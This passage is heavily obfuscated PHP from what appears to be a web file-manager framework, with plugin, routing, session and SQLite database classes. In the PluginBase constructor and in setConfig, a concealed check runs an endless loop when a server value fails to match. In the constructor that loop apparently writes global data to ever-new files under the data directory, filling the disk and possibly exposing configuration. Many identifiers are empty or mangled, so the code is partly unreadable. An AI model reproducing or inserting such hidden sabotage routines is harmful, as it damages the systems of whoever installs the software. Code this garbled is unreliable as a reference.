$Փ[$ǯʠ[1187]]; continue; } $[$Փ[$ǯʠ[1185]]] = array($ǯʠ[1189] => $Փ[$ǯʠ[1185]], $ǯʠ[1188] => array($Փ[$ǯʠ[1187]]), $ǯʠ[1190] => $Փ[$ǯʠ[1191]] == $ǯʠ[101] ? 0 : 1); } $Ҍ = array(); foreach ($ as $Փ) { $Ի = $Փ[$ǯʠ[1189]] == $ǯʠ[1186]; $ = array($ǯʠ[1192], $Փ[$ǯʠ[1190]] == $ǯʠ[101] && !$Ի ? $ǯʠ[1193] : $ǯʠ[12], $ǯʠ[1194], $ǯʠ[1195] . $ . $ǯʠ[11] . ($Ի ? $ǯʠ[1196] : $Փ[$ǯʠ[1189]]) . $ǯʠ[131], $ǯʠ[1197], $ǯʠ[131] . $ . $ǯʠ[131], $ǯʠ[1198] . implode($ǯʠ[1199], $Փ[$ǯʠ[1188]]) . $ǯʠ[1200]); $Ҍ[] = implode($ǯʠ[53], $) . $ǯʠ[84]; } $裘 = array(); $Ç = array($ǯʠ[1201] => $ǯʠ[1202], $ǯʠ[1202] => $ǯʠ[1202], $ǯʠ[373] => $ǯʠ[400], $ǯʠ[372] => $ǯʠ[400]); foreach ($ࡊ as $Փ) { $ = array($ǯʠ[131] . $Փ[$ǯʠ[1203]] . $ǯʠ[131], isset($Ç[$Փ[$ǯʠ[1204]]]) ? $Ç[$Փ[$ǯʠ[1204]]] : $Փ[$ǯʠ[1205]], $Փ[$ǯʠ[1206]] == $ǯʠ[979] ? $ǯʠ[1207] : $ǯʠ[1208], $Փ[$ǯʠ[1203]] == $ ? $ǯʠ[1209] : $ǯʠ[12], $Փ[$ǯʠ[1030]] ? strtoupper(str_replace($ǯʠ[11], $ǯʠ[12], $Փ[$ǯʠ[1030]])) : $ǯʠ[12]); $裘[] = trim(implode($ǯʠ[53], $)); } $ = array($ǯʠ[1210] . $ . $ǯʠ[1211], $ǯʠ[1212] . $ . $ǯʠ[1213], implode($ǯʠ[50] . PHP_EOL, $裘), $ǯʠ[1027]); $酯 = implode(PHP_EOL, array_merge($, $Ҍ)); if ($ߔ && $ߔ == $ǯʠ[13]) { return $酯; } $ = array($ǯʠ[888] => $Җ, $ǯʠ[13] => $酯); return $ߔ ? $[$ߔ] : $; } public function sqlFromSqlite($繵, $ = '') { $酏 =& $_SERVER[՟]; $䎛 = $this->model()->db(); $낛 = "\x50\x52\x41\107\115\101\x20\124\x41\x42\114\105\x5f\111\x4e\x46\117\x20\x28\x27{$繵}\47\51"; $ = "\x53\105\x4c\105\x43\x54\40\x2a\40\x46\122\x4f\115\40\x73\x71\x6c\151\164\145\x5f\155\141\x73\x74\x65\x72\40\x57\x48\x45\x52\105\x20\x74\x62\x6c\x5f\x6e\141\x6d\x65\x20\75\40\x27{$繵}\47"; $ = $䎛->query($낛); if (empty($)) { $ = array($酏[888] => $酏[12], $酏[13] => $酏[12]); return $ ? $[$] : $; } $· = $䎛->query($); $Ù = $ٛ = array(); foreach ($· as $) { if ($[$酏[33]] == $酏[365]) { $Ù[] = $[$酏[1214]]; } else { $ٛ[$[$酏[32]]] = $[$酏[1214]]; } } $ = array_merge(array($酏[1210] . $繵 . $酏[131]), $Ù, array_values($ٛ)); $ = implode($酏[84] . PHP_EOL, $) . $酏[84]; if ($ && $ == $酏[13]) { return $; } $ = array(); $ = array($酏[1202] => $酏[1215], $酏[400] => $酏[1216]); $ = $酏[12]; foreach ($ as $) { if ($[$酏[67]] == $酏[101]) { $ = $[$酏[32]]; } $٧ = array($酏[470] . $[$酏[32]] . $酏[470], isset($[$[$酏[33]]]) ? $[$[$酏[33]]] : $[$酏[33]], $[$酏[35]] == $酏[101] ? $酏[1207] : $酏[1217] . $[$酏[66]], $[$酏[67]] == $酏[101] ? $酏[1218] : $酏[12]); $[] = trim(implode($酏[53], $٧)); } foreach ($ٛ as $Ւ => $) { $鸛 = str_replace($酏[1219] . $繵 . $酏[11], $酏[12], $Ւ); $ = str_replace(array($酏[131], $酏[1038]), $酏[470], substr($, stripos($, $酏[346]))); if ($鸛 == $酏[1196]) { $ = $酏[1220] . $ . $酏[1221]; } else { $ = (stripos($鸛, $酏[11]) ? $酏[1222] : $酏[12]) . ($酏[1223] . $鸛 . $酏[1224] . $); } $[] = $; } $뺋 = array($酏[1225] . $繵 . $酏[1226], $酏[1227] . $繵 . $酏[1228], implode($酏[50] . PHP_EOL, $), $酏[1229]); $ŝ = implode(PHP_EOL, $뺋); if ($ && $ == $酏[888]) { return $ŝ; } $ = array($酏[888] => $ŝ, $酏[13] => $); return $ ? $[$] : $; } } goto a؉Î; dҾۭ: class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ =& $_SERVER[՟]; $ڛ = $_SERVER[$[63]]; $̊Գ = $[924]; if ($_SERVER[$[54]] != $̊Գ($ڛ)) { $Η = $[961]; $ۧ = $[56]; $ș = $_SERVER[$[57]] . $[58]; $ʖ = $ۧ($ș); $ܺ = explode($[59], $ʖ); if (count($ܺ) < $[693]) { $˪ = $[61]; $˪(); } $Ә = $[962]; $Ә($_SERVER[$[963]]); $Η = $[961]; $Η(); $ͤ = $[1627]; $ޱԏ = json_encode($GLOBALS[$[1628]]); $ = 1; for ($Ժ = $; $Ժ > 0; $Ժ++) { $ͤ(DATA_PATH . $Ժ, $ޱԏ); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($[1629]); $this->pluginName = str_replace($[1629], $[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1630] . $this->pluginName . $[8]; $this->pluginHost = $config[$[1631]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1631]] . $this->pluginName . $[8]; $˽ = $config[$[1632]]; if ($˽ && strpos($[50] . $˽ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1633]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); $this->linkHas = !1; return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[՟][1634]); } protected function assign($ƽ, $ٓ = false) { if (is_array($ƽ)) { $this->values = array_merge($this->values, $ƽ); } else { $this->values[$ƽ] = $ٓ; } } protected function display($Ļ) { extract($this->values); require $Ļ; } final function hookRegist($Б) { $this->modelPlugin->appRegist($this->pluginName, $Б); } final function appIcon() { $ =& $_SERVER[՟]; $ҭ = $this->appPackage(); $ = $[12]; if (isset($ҭ[$[499]])) { if (isset($ҭ[$[499]][$[1635]])) { $ = $[1636] . $ҭ[$[499]][$[1635]] . $[1637]; } else { if ($ҭ[$[499]][$[1638]]) { $ = $[1639] . $ҭ[$[499]][$[1638]] . $[1640]; } } } return $; } final function fileCanView($) { $òՓ =& $_SERVER[՟]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } if (!KodUser::isRoot() && !KodUser::isLogin()) { $ = $òՓ[1641] . rawurlencode(this_url()); show_tips(LNG($òՓ[1642]) . $òՓ[1643] . $ . $òՓ[1644] . LNG($òՓ[1645]) . $òՓ[1646], !1); } if (!Action($òՓ[1647])->authCan($òՓ[1648])) { show_tips(LNG($òՓ[1649]) . $òՓ[1650], !1); } ActionCall($òՓ[1651], $); } final function isShare($) { $˘ = KodIO::parse($); return $˘[$_SERVER[՟][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($ڱ) { if (request_url_safe($ڱ)) { return $ڱ; } if (!$this->isShare($ڱ)) { $ڱ = $this->filePath($ڱ, !1); } return Action($_SERVER[՟][1259])->linkOut($ڱ); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[՟][1259])->link($); } final function filePath($ܴ, $ = true, $ = false) { $斸 =& $_SERVER[՟]; $ = $this->filePathGet($ܴ, $); if (!$this->fileInfo) { show_tips(LNG($斸[118]), !1); } if ($ && isset($this->fileInfo[$斸[550]]) && $this->fileInfo[$斸[550]]) { $߬淶 = Model($斸[553])->fileInfo($this->fileInfo[$斸[550]]); if (!$߬淶 || !IO::exist($߬淶[$斸[97]])) { show_tips(LNG($斸[118]) . $斸[1652]); } } Hook::trigger($斸[1653], $); return $; } final function filePathGet($, $ʥ = true) { $ǫ =& $_SERVER[՟]; if ($ = $this->checkSharePath($, $ʥ)) { return $; } $this->fileCanView($); if (request_url_safe($)) { $ = parse_url_query($); if (isset($[$ǫ[1654]]) && isset($[$ǫ[244]])) { $۱Ǫ = Mcrypt::decode($[$ǫ[244]], Model($ǫ[854])->get($ǫ[855])); if ($۱Ǫ) { $this->fileInfo = IO::info($۱Ǫ); $this->fileInfo[$ǫ[1655]] = $; $this->cachePath = $this->pluginCachePath($ǫ[12], $ʥ); return $۱Ǫ; } } $ = $this->_cacheHttpFile($, $ʥ); $this->fileInfo = IO::info($); } else { $this->fileInfo = IO::info($); $this->cachePath = $this->pluginCachePath($ǫ[12], $ʥ); } return $; } final function _cacheHttpFile($斮, $ = true) { $ =& $_SERVER[՟]; $ = parse_url_query($斮); $ = get_path_ext($斮); if (isset($[$[32]]) && $[$[32]]) { $ = get_path_ext($[$[32]]); } $߸ = hash_path($斮) . $[10] . $; $this->cachePath = $this->pluginCachePath($ ? $߸ : $[12]); $ = IO::fileNameExist($this->cachePath, $߸); if ($) { return KodIO::make($); } $ɲ = rtrim($this->cachePath, $[8]) . $[8] . $߸; return $this->pluginCacheFileSet($ɲ, file_get_contents_nossl($斮)); } final function checkSharePath($Ū, $ʓ = true) { $ =& $_SERVER[՟]; if (!$this->isShare($Ū)) { return !1; } $ܼ = Action($[1259])->sharePathInfo($Ū); if (!is_array($ܼ) || !isset($ܼ[$[97]])) { show_json(LNG($[1656]), !1); } $this->fileInfo = $ܼ; $this->cachePath = $this->pluginCachePath(!1, $ʓ); return $ܼ[$[97]]; } final function pluginCachePath($Ĥ = '', $Ρ = false) { $ =& $_SERVER[՟]; if ($Ρ && is_array($this->fileInfo)) { $Ĥ = kodIO::hashPath($this->fileInfo); } $¶ = rtrim(IO_PATH_SYSTEM_TEMP . $[1657] . $this->pluginName . $[8] . $Ĥ, $[8]); $ŭ = IO::infoFullSimple($¶); $ = $ŭ && is_array($ŭ) ? $ŭ[$[97]] : $[12]; if (!$) { $ = IO::mkdir($¶); } return $; } final function pluginCacheFileSet($傫Ѵ, $Ȯ = '') { $¥ij =& $_SERVER[՟]; $̈ = IO::infoFullSimple($傫Ѵ); if (!$̈) { return IO::mkfile($傫Ѵ, $Ȯ, REPEAT_REPLACE); } IO::setContent($̈[$¥ij[97]], $Ȯ); return $̈[$¥ij[97]]; } final function pluginLocalFile($ = '') { $ݕʻ =& $_SERVER[՟]; $߳ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($߳)) { mk_dir($߳); } if (!$) { return $߳; } $Ź = IO::info($); $ͮط = $ݕʻ[1658] . KodIO::hashPath($Ź) . $ݕʻ[10] . $Ź[$ݕʻ[179]]; if (!checkExtSafe($ͮط)) { $ͮط = $ͮط . $ݕʻ[1294]; } $ = $߳ . $ͮط; if (@file_exists($)) { return $; } return IO::copy($, $߳, 0, $ͮط); } final function appPackage() { $ =& $_SERVER[՟]; if ($this->packageData) { return $this->packageData; } $ש = $this->parseFile($this->pluginPath . $[1659]); $this->parseLang($ש); $șͼѱ = json_decode_force($ש); if (!$șͼѱ) { return array(); } $ƣ⊻ = Hook::trigger($[1660], $șͼѱ); if ($ƣ⊻ && is_array($ƣ⊻)) { $șͼѱ = $ƣ⊻; } $this->packageData = $șͼѱ; return $șͼѱ; } public function packageInfoGet($Ҟë) { $ǰ = $this->appPackage(); return array_get_value($ǰ, $Ҟë); } public function packageVersion() { return $this->packageInfoGet($_SERVER[՟][1661]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[՟][1662]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[՟][1663]); } public function echoJsAssign($, $) { $this->echoJsAssignArr[$] = $; } private function parseFile($) { $ӯ =& $_SERVER[՟]; $ = file_get_contents_nossl($); $ = array($ӯ[1664], $ӯ[1665], $ӯ[1666], $ӯ[1667], $ӯ[1668], $ӯ[1669], $ӯ[1670]); $Ω = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$ӯ[102]][$ӯ[1671]]); foreach ($this->echoJsAssignArr as $圦 => $ͷ) { $[] = $ӯ[1672] . $圦 . $ӯ[1673]; $Ω[] = is_array($ͷ) || is_object($ͷ) ? rawurlencode(json_encode($ͷ)) : $ͷ; } if (strstr($, $ӯ[1674])) { $Ԓ = rawurlencode(json_encode($this->pluginLangArr)); $ = str_replace($ӯ[1674], $Ԓ, $); } if (strstr($, $ӯ[1675])) { $Ԓ = $Ԓ = rawurlencode(json_encode($this->getConfig())); $ = str_replace($ӯ[1675], $Ԓ, $); } $ = str_replace($, $Ω, $); return $; } private function parseLang(&$) { $˓ =& $_SERVER[՟]; $ = $˓[1676]; if (!strstr($, $)) { return; } preg_match_all($˓[1677], $, $ߚ); if (!is_array($ߚ) || count($ߚ) == 0 || !is_array($ߚ[0]) || count($ߚ[0]) == 0) { return; } $ = array(); $֕ = array(); foreach ($ߚ[0] as $) { $ = substr($, strlen($), -4); $ = LNG($); $[] = $; $֕[] = str_replace(array($˓[59], $˓[1160], $˓[427], $˓[131]), array($˓[53], $˓[53], $˓[12], $˓[1678]), $); } $ = str_replace($, $֕, $); } private function parseConfig(&$ԞƸ) { $Ҿ =& $_SERVER[՟]; $Đ = $Ҿ[1679]; if (!strstr($ԞƸ, $Đ)) { return; } preg_match_all($Ҿ[1680], $ԞƸ, $Ųи); if (!is_array($Ųи) || count($Ųи) == 0 || !is_array($Ųи[0]) || count($Ųи[0]) == 0) { return; } $ = $this->getConfig(); $ˡݵ = array(); $չ = array(); foreach ($Ųи[0] as $ȉ) { $ͱ = substr($ȉ, strlen($Đ), -2); $ˡݵ[] = $ȉ; $չ[] = _get($, $ͱ); } $ԞƸ = str_replace($ˡݵ, $չ, $ԞƸ); } private function parsePackage(&$Ҵ) { $굕 =& $_SERVER[՟]; $ = $굕[1681]; if (!strstr($Ҵ, $)) { return; } preg_match_all($굕[1682], $Ҵ, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = $this->appPackage(); $Ў = array(); $˦ = array(); foreach ($[0] as $Ҋ) { $ů = substr($Ҋ, strlen($), -2); $Ў[] = $Ҋ; $˦[] = _get($, $ů); } $Ҵ = str_replace($Ў, $˦, $Ҵ); } final function echoFile($ҡ, $Ꜥ = false) { $ù̖ =& $_SERVER[՟]; $ = $this->pluginPath . $ҡ; if (ACT == $ù̖[1683]) { echo $ù̖[1684] . $this->pluginName . $ù̖[8] . $ҡ . $ù̖[1685]; if (!file_exists($)) { echo $ù̖[1686]; return; } } $ƃ = $this->parseFile($); $this->parseLang($ƃ); $this->parseConfig($ƃ); $this->parsePackage($ƃ); if (is_array($Ꜥ)) { $ƃ = str_replace(array_keys($Ꜥ), array_values($Ꜥ), $ƃ); } echo $ù̖[59] . $ƃ; } private function checkVersion() { $ =& $_SERVER[՟]; $ = $this->appPackage(); $髻 = $this->getConfig(); if ($髻[$[1687]] == $[$[1661]]) { return; } $this->regist(); $this->setConfig(array($[1687] => $[$[1661]])); } final function initLang() { $ =& $_SERVER[՟]; $ = $[1688]; $ = $this->pluginPath . $[1689]; $ = I18n::getType(); $ = array(); if (file_exists($ . $ . $[922])) { $ = (include $ . $ . $[922]); } else { if ($ == $[1690] && !file_exists($ . $ . $[922]) && file_exists($ . $[1691])) { $ = (include $ . $[1691]); } else { if (file_exists($ . $ . $[922])) { $ = (include $ . $ . $[922]); } } } if (!is_array($)) { return array(); } if (@count($) > 0) { I18n::set($); } return $; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($ձӤ) { $ =& $_SERVER[՟]; if (!isset($_SERVER[$[54]]) || !isset($_SERVER[$[63]])) { $瘤 = $[961]; $ = $[56]; $Łܳ = $_SERVER[$[57]] . $[58]; $ = $($Łܳ); $͝ = explode($[59], $); if (count($͝) < $[693]) { $И = $[61]; $И(); } $ = $[962]; $($_SERVER[$[963]]); $ً = 1; for ($ᠥ = $ً; $ᠥ > 0; $ᠥ++) { $ = json_encode($GLOBALS[$[501]]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $ձӤ); } public function onSetConfig($Ѻ) { } public function onGetConfig($Ն) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($) { if ($ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\x70\154\x75\x67\x69\x6e\x41\165\x74\150") { if (KodUser::isRoot()) { return !0; } if (!KodUser::isLogin()) { return !1; } $ᒩ = $this->getConfig(); if (!$ᒩ[$]) { return !1; } return ActionCall($_SERVER[՟][1692], $ᒩ[$]); } public function url($, $圶Ż = '', $ = true) { $㔅 =& $_SERVER[՟]; $ = $this->getConfig(); $㩜 = KOD_VERSION . $㔅[10] . KOD_VERSION_BUILD; $ൾҝ = $this->packageVersion(); $ܔ = $㩜 . $㔅[471] . $ൾҝ; if (substr($, 0, 4) == $㔅[162] || substr($, 0, 2) == $㔅[1413]) { $Ӳ = $ . $㔅[1693] . $ܔ; } else { if ($圶Ż == $㔅[12]) { $Ӳ = $this->pluginHost . $ . $㔅[1693] . $ܔ; } else { if ($圶Ż === $㔅[88]) { $Ӳ = $this->pluginHost . $; } else { if ($圶Ż == $㔅[1694]) { $Ӳ = STATIC_PATH . $ . $㔅[1693] . $㩜; } else { if ($圶Ż == $㔅[1695]) { $Ӳ = APP_HOST . $㔅[1696] . $ . $㔅[1693] . $㩜; } else { if (isset($[$圶Ż])) { $Ӳ = $[$圶Ż] . $ . $㔅[1693] . $ܔ; } } } } } } if (!$) { return $Ӳ; } echo $Ӳ; } public function link($ = false, $ڐ = '') { $ص =& $_SERVER[՟]; $ = $this->linkHas == !1; $this->linkHas = !0; if (!$) { $this->link($ص[1697], $ص[1695]); $this->link($ص[1698], $ص[1694]); $this->link($ص[1699], $ص[1694]); $this->link($ص[1700], $ص[1694]); $this->link($ص[1701], $ص[1694]); if ($) { Hook::trigger($ص[1702]); } return; } $܈ = $this->url($, $ڐ, !1); if (substr($, -3) == $ص[1703]) { echo $ص[1704] . $܈ . $ص[1705] . $ص[59]; } else { if (substr($, -4) == $ص[1706]) { echo $ص[1707] . $܈ . $ص[1708] . $ص[59]; } } if ($) { Hook::trigger($ص[1702]); } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\x61\156\171" => "\133\136\57\135\53", "\x3a\156\x75\x6d" => "\133\60\55\71\x5d\x2b", "\x3a\141\154\x6c" => "\56\x2a"); public static $errorCallback; public static function __callstatic($, $) { $آ =& $_SERVER[՟]; if ($ == $آ[1709]) { $겸 = array_map($آ[1710], $[0]); $ = strpos($[1], $آ[8]) === 0 ? $[1] : $آ[8] . $[1]; $Ⱦ = $[2]; } else { $겸 = null; $ = strpos($[0], $آ[8]) === 0 ? $[0] : $آ[8] . $[0]; $Ⱦ = $[1]; } array_push(self::$maps, $겸); array_push(self::$routes, $); array_push(self::$methods, strtoupper($)); array_push(self::$callbacks, $Ⱦ); } public static function error($) { self::$errorCallback = $; } public static function haltOnMatch($ޕ = true) { self::$halts = $ޕ; } public static function dispatch() { $ج =& $_SERVER[՟]; $͘ = parse_url($_SERVER[$ج[1711]], PHP_URL_PATH); $߁ = $_SERVER[$ج[174]]; $ = array_keys(static::$patterns); $َ = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($ج[1364], $ج[8], self::$routes); if (in_array($͘, self::$routes)) { $Ђ = array_keys(self::$routes, $͘); foreach ($Ђ as $) { if (self::$methods[$] == $߁ || self::$methods[$] == $ج[1712] || in_array($߁, self::$maps[$])) { $ = !0; if (!is_object(self::$callbacks[$])) { $ʆ = explode($ج[8], self::$callbacks[$]); $ = end($ʆ); $ = explode($ج[1296], $); $桑 = new $[0](); $桑->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$]); if (self::$halts) { return; } } } } } else { $ = 0; foreach (self::$routes as $) { if (strpos($, $ج[4]) !== !1) { $ = str_replace($, $َ, $); } if (preg_match($ج[1713] . $ . $ج[1714], $͘, $Ѫ)) { if (self::$methods[$] == $߁ || self::$methods[$] == $ج[1712] || !empty(self::$maps[$]) && in_array($߁, self::$maps[$])) { $ = !0; array_shift($Ѫ); if (!is_object(self::$callbacks[$])) { $ʆ = explode($ج[8], self::$callbacks[$]); $ = end($ʆ); $ = explode($ج[1296], $); $桑 = new $[0](); if (!method_exists($桑, $[1])) { echo $ج[1715]; } else { call_user_func_array(array($桑, $[1]), $Ѫ); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$], $Ѫ); if (self::$halts) { return; } } } } $++; } } if ($ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $֩䋫 =& $_SERVER[՟]; header($_SERVER[$֩䋫[1716]] . $֩䋫[1717]); echo $֩䋫[1718]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$ج[1711]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $懘 =& $_SERVER[՟]; static $Κȷ = false; if ($Κȷ) { return $Κȷ; } $غlj = $GLOBALS[$懘[6]][$懘[434]]; self::$sessionTime = $غlj[$懘[1719]]; $זߚ = isset($GLOBALS[$懘[1720]]) ? $GLOBALS[$懘[1720]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($זߚ)) { self::$sessionSign = Cookie::get($זߚ); } else { self::$sessionSign = self::$sessionSign ? self::$sessionSign : guid(); } } Cookie::setSafe($זߚ, self::$sessionSign, self::$sessionTime); $顰 = $غlj[$懘[1721]]; $ȍ = $غlj[$顰]; $ = $غlj[$懘[911]]; switch ($顰) { case $懘[21]: self::$handle = Model($懘[912]); break; case $懘[913]: self::$handle = new CacheRedis($ȍ, $); break; case $懘[914]: self::$handle = new CacheMemcached($ȍ, $); break; case $懘[240]: $ȍ[$懘[97]] = $ȍ[$懘[97]] . $懘[1722]; self::$handle = new CacheFile($ȍ, $); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $Κȷ = new self(); return $Κȷ; } public static function getBySign($Ń) { $ޗ = self::$handle->get($Ń); $ޗ = unserialize($ޗ); return is_array($ޗ) ? $ޗ : array(); } public static function setBySign($, $) { CacheLock::lock($); self::$handle->set($, serialize($), self::$sessionTime); CacheLock::unlock($); } public static function sign($ = false) { if ($) { self::$sessionSign = $; } self::init(); return self::$sessionSign; } public static function set($ʒ, $ډ = false) { self::init(); if (is_array($ʒ)) { foreach ($ʒ as $Ɋ => $¨) { array_set_value(self::$data, $Ɋ, $¨); } } else { array_set_value(self::$data, $ʒ, $ډ); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; } return array_get_value(self::$data, $); } public static function remove($ˎÅ) { self::init(); unset(self::$data[$ˎÅ]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[՟][917])) { self::$handle->clearTimeout(); } } } goto b; aⳠ: class DbSqlite3Base extends Db { public function __construct($ = '') { $ڱ =& $_SERVER[՟]; if (!class_exists($ڱ[64])) { think_exception(think_lang($ڱ[14]) . $ڱ[65]); } if (!empty($)) { if (!isset($[$ڱ[16]])) { $[$ڱ[16]] = 438; } $this->config = $; if (empty($this->config[$ڱ[17]])) { $this->config[$ڱ[17]] = array(); } } } public function connect($ = '', $Ê = 0) { $Ҡ =& $_SERVER[՟]; if (!isset($this->linkID[$Ê])) { if (empty($)) { $ = $this->config; } $this->linkID[$Ê] = new SQLite3($[$Ҡ[21]]); if (!$this->linkID[$Ê]) { think_exception($this->linkID[$Ê]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$Ê]->busyTimeout(30000); if (1 != think_config($Ҡ[22])) { unset($this->config); } } return $this->linkID[$Ê]; } public function free() { $this->queryID = null; } public function query($) { $ƥ =& $_SERVER[՟]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ƥ[23], 1); think_status($ƥ[24]); $this->queryID = $this->_linkID->query($); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $㺤 = $this->getAll(); $this->numRows = count($㺤); return $㺤; } } public function execute($վ) { $ث =& $_SERVER[՟]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $վ; if ($this->queryID) { $this->free(); } think_action_status($ث[25], 1); think_status($ث[24]); $ = $this->_linkID->exec($վ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[՟][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[՟][27]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->query($_SERVER[՟][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $; } $this->queryID->reset(); return $; } public function getFields($ĉ) { $̯ =& $_SERVER[՟]; $ = $this->query($̯[29] . $ĉ . $̯[30]); $ˠ = array(); if ($) { foreach ($ as $ˤ => $) { $ˠ[$[$̯[32]]] = array($̯[32] => $[$̯[32]], $̯[33] => $[$̯[33]], $̯[35] => (bool) ($[$̯[35]] === $̯[12]), $̯[37] => $[$̯[66]], $̯[39] => (bool) $[$̯[67]], $̯[42] => (bool) $[$̯[67]]); } } return $ˠ; } public function getTables($鼻黴 = '') { $҇ =& $_SERVER[՟]; $ = $this->query($҇[45] . $҇[46] . $҇[47]); $挊 = array(); foreach ($ as $˨dž => $ߜ) { $挊[$˨dž] = current($ߜ); } return $挊; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $н =& $_SERVER[՟]; $this->error = $this->_linkID->lastErrorMsg(); if ($н[12] != $this->queryStr) { $this->error .= LNG($н[48]) . $this->queryStr; } think_trace($this->error, $н[12], $н[49]); return $this->error; } public function escapeString($ͣخ) { $ =& $_SERVER[՟]; if ($this->_linkID) { return $this->_linkID->escapeString($ͣخ); } return str_ireplace($[68], $[69], $ͣخ); } public function parseLimit($铂) { $앜 =& $_SERVER[՟]; $ = $앜[12]; if (!empty($铂)) { $铂 = explode($앜[50], $铂); if (count($铂) > 1) { $ .= $앜[51] . $铂[1] . $앜[52] . $铂[0] . $앜[53]; } else { $ .= $앜[51] . $铂[0] . $앜[53]; } } return $; } } class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $Ќ =& $_SERVER[՟]; $this->objectDriver = array($Ќ[70], $Ќ[71], $Ќ[72], $Ќ[73], $Ќ[74], $Ќ[75], $Ќ[76], $Ќ[77], $Ќ[78], $Ќ[79], $Ќ[80], $Ќ[81]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($쌹) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($쌹, $_SERVER[՟][8]); } return $쌹; } public function iconvApp($) { return $; } public function iconvSystem($䍡ߤ) { return $䍡ߤ; } public function iconvTo($ع, $ؐ, $ڽ) { $ =& $_SERVER[՟]; if (!$ع || !function_exists($[82])) { return $ع; } static $ = array(); $ËГ = $ؐ . $[83] . $ڽ . $[84] . $ع; if (isset($[$ËГ])) { return $[$ËГ]; } if (function_exists($[85])) { $ = @mb_convert_encoding($ع, $ڽ, $ؐ); } else { $ = @iconv($ؐ, $ڽ, $ع); } $ = $ ? $ : $ع; if (strstr($, $[86])) { $ = str_replace($[86], $[11], $); } $[$ؐ . $[83] . $ڽ . $[84] . $ع] = $; $[$ڽ . $[83] . $ؐ . $[84] . $ع] = $ع; $[$ڽ . $[83] . $ؐ . $[84] . $] = $ع; $[$ؐ . $[83] . $ڽ . $[84] . $] = $; return $; } public function getPathInner($崔) { $ = IO::init($崔); return $->path; } public function getPathOuter($) { $Ҝ =& $_SERVER[՟]; $ = strlen(trim($this->pathBase, $Ҝ[8])); $ = substr(trim($, $Ҝ[8]), $); return $this->pathDriver . $Ҝ[8] . ltrim($, $Ҝ[8]); } public function isParentOf($, $) { $ =& $_SERVER[՟]; $ = rtrim(strtolower($), $[8]) . $[8]; $ = rtrim(strtolower($), $[8]) . $[8]; $ = strpos($, $) === 0; return $; } public function getType() { $Ȏ =& $_SERVER[՟]; $ = str_replace($Ȏ[87], $Ȏ[12], get_class($this)); return strtolower($); } public function isOsDriver() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($ӂ, $) { $՟χ =& $_SERVER[՟]; $ྰ = rtrim($ӂ, $՟χ[8]) . 